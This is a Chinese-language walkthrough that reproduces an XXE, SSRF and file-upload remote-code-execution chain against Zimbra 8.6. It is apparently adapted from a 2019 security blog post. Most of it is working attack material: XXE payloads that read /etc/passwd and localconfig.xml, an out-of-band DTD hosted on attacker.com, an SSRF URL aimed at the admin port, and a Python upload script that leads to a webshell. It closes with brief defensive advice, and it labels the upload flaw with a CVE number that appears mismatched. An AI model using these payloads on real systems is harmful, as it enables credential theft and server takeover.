《A Saga of Code Executions on Zimbra》RCE分析+复现过程
字数 1499 2025-08-29 08:32:09

Zimbra RCE漏洞分析与复现指南

1. Zimbra简介

Zimbra是一款开源的协同办公套件,提供WebMail、日历、通信录、Web文档管理和创作等功能。其特色在于采用Ajax技术模仿CS桌面应用软件风格开发的客户端,兼容Firefox、Safari和IE浏览器。

2. 漏洞概述

本教学文档将详细分析Zimbra系统中的多个安全漏洞,包括:

  • XXE漏洞(CVE-2019-9670)
  • SSRF漏洞
  • 文件上传漏洞(CVE-2013-7091)

这些漏洞可组合利用,最终实现远程代码执行(RCE)。

3. 环境准备

3.1 下载Zimbra

从官方地址下载Zimbra 8.6.0开源版:

https://www.zimbra.com/downloads/zimbra-collaboration-open-source/

3.2 解压核心库

# 需要先安装rpm2cpio
rpm2cpio zimbra-core-8.6.0_GA_1153.RHEL6_64-20141215151155.x86_64.rpm | cpio -div

4. XXE漏洞利用(CVE-2019-9670)

4.1 漏洞定位

通过查找Autodiscover相关类:

find . -name "*.jar"|awk '{print "jar -tvf "$1}' | sh -x | grep -i Autodiscover

确认com/zimbra/cs/service/AutoDiscoverServlet.class是目标类。

4.2 漏洞分析

AutoDiscoverServlet处理POST请求时:

  1. 读取请求内容并解析为XML文档
  2. 查找Request标签中的EMailAddress和AcceptableResponseSchema
  3. 如果AcceptableResponseSchema不符合预期,会将其内容返回给用户

4.3 漏洞利用

构造恶意XML读取本地文件:

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaa</EMailAddress>
      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

4.4 读取配置文件

由于localconfig.xml是XML格式,需要使用外部DTD和CDATA:

<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://attacker.com/dtd">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

外部DTD内容:

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

5. SSRF漏洞利用

5.1 获取低权限Token

通过SOAP接口发送AuthRequest:

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbra</account>
        <password>xxxx</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

5.2 利用ProxyServlet进行SSRF

通过ProxyServlet访问管理端口(7071):

https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap

关键点:

  1. 设置Host头为foo:7071
  2. Cookie中使用低权限Token:ZM_ADMIN_AUTH_TOKEN=admin_token
  3. 发送相同的SOAP请求,但AuthRequest的xmlns改为urn:zimbraAdmin

6. 文件上传漏洞(CVE-2013-7091)

6.1 利用clientUploader上传文件

使用Python requests库上传JSP文件:

import requests

f = {
    'filename1':(None,"justatest.jsp",None),
    'clientFile':("justatest123.jsp",r'<%out.println("justatest");%>',"text/plain"),
    'requestId':(None,"12",None),
}

headers = {
    "Cookie":"ZM_ADMIN_AUTH_TOKEN=admin_token",
    "Host":"foo:7071"
}

r = requests.post("https://target.com/service/extension/clientUploader/upload", 
                 files=f, headers=headers, verify=False)
print(r.text)

7. 漏洞组合利用流程

  1. 利用XXE漏洞读取localconfig.xml获取管理员凭证
  2. 使用管理员凭证获取低权限Token
  3. 通过SSRF漏洞利用低权限Token获取高权限Token
  4. 使用高权限Token通过文件上传漏洞上传WebShell
  5. 访问上传的WebShell实现RCE

8. 防御建议

  1. 禁用XML外部实体解析
  2. 对ProxyServlet进行严格的访问控制
  3. 限制文件上传功能,验证文件内容和类型
  4. 及时更新Zimbra到最新版本
  5. 实施最小权限原则,限制管理接口的访问

9. 参考资源

  1. 原文地址: https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
  2. Zimbra官方文档: https://wiki.zimbra.com/
  3. SOAP API参考: https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/index.html
  4. XXE OOB技术: https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/
Zimbra RCE漏洞分析与复现指南 1. Zimbra简介 Zimbra是一款开源的协同办公套件,提供WebMail、日历、通信录、Web文档管理和创作等功能。其特色在于采用Ajax技术模仿CS桌面应用软件风格开发的客户端,兼容Firefox、Safari和IE浏览器。 2. 漏洞概述 本教学文档将详细分析Zimbra系统中的多个安全漏洞,包括: XXE漏洞(CVE-2019-9670) SSRF漏洞 文件上传漏洞(CVE-2013-7091) 这些漏洞可组合利用,最终实现远程代码执行(RCE)。 3. 环境准备 3.1 下载Zimbra 从官方地址下载Zimbra 8.6.0开源版: 3.2 解压核心库 4. XXE漏洞利用(CVE-2019-9670) 4.1 漏洞定位 通过查找Autodiscover相关类: 确认 com/zimbra/cs/service/AutoDiscoverServlet.class 是目标类。 4.2 漏洞分析 AutoDiscoverServlet处理POST请求时: 读取请求内容并解析为XML文档 查找Request标签中的EMailAddress和AcceptableResponseSchema 如果AcceptableResponseSchema不符合预期,会将其内容返回给用户 4.3 漏洞利用 构造恶意XML读取本地文件: 4.4 读取配置文件 由于localconfig.xml是XML格式,需要使用外部DTD和CDATA: 外部DTD内容: 5. SSRF漏洞利用 5.1 获取低权限Token 通过SOAP接口发送AuthRequest: 5.2 利用ProxyServlet进行SSRF 通过ProxyServlet访问管理端口(7071): 关键点: 设置Host头为 foo:7071 Cookie中使用低权限Token: ZM_ADMIN_AUTH_TOKEN=admin_token 发送相同的SOAP请求,但AuthRequest的xmlns改为 urn:zimbraAdmin 6. 文件上传漏洞(CVE-2013-7091) 6.1 利用clientUploader上传文件 使用Python requests库上传JSP文件: 7. 漏洞组合利用流程 利用XXE漏洞读取localconfig.xml获取管理员凭证 使用管理员凭证获取低权限Token 通过SSRF漏洞利用低权限Token获取高权限Token 使用高权限Token通过文件上传漏洞上传WebShell 访问上传的WebShell实现RCE 8. 防御建议 禁用XML外部实体解析 对ProxyServlet进行严格的访问控制 限制文件上传功能,验证文件内容和类型 及时更新Zimbra到最新版本 实施最小权限原则,限制管理接口的访问 9. 参考资源 原文地址: https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html Zimbra官方文档: https://wiki.zimbra.com/ SOAP API参考: https://files.zimbra.com/docs/soap_ api/8.0.4/soap-docs-804/api-reference/index.html XXE OOB技术: https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/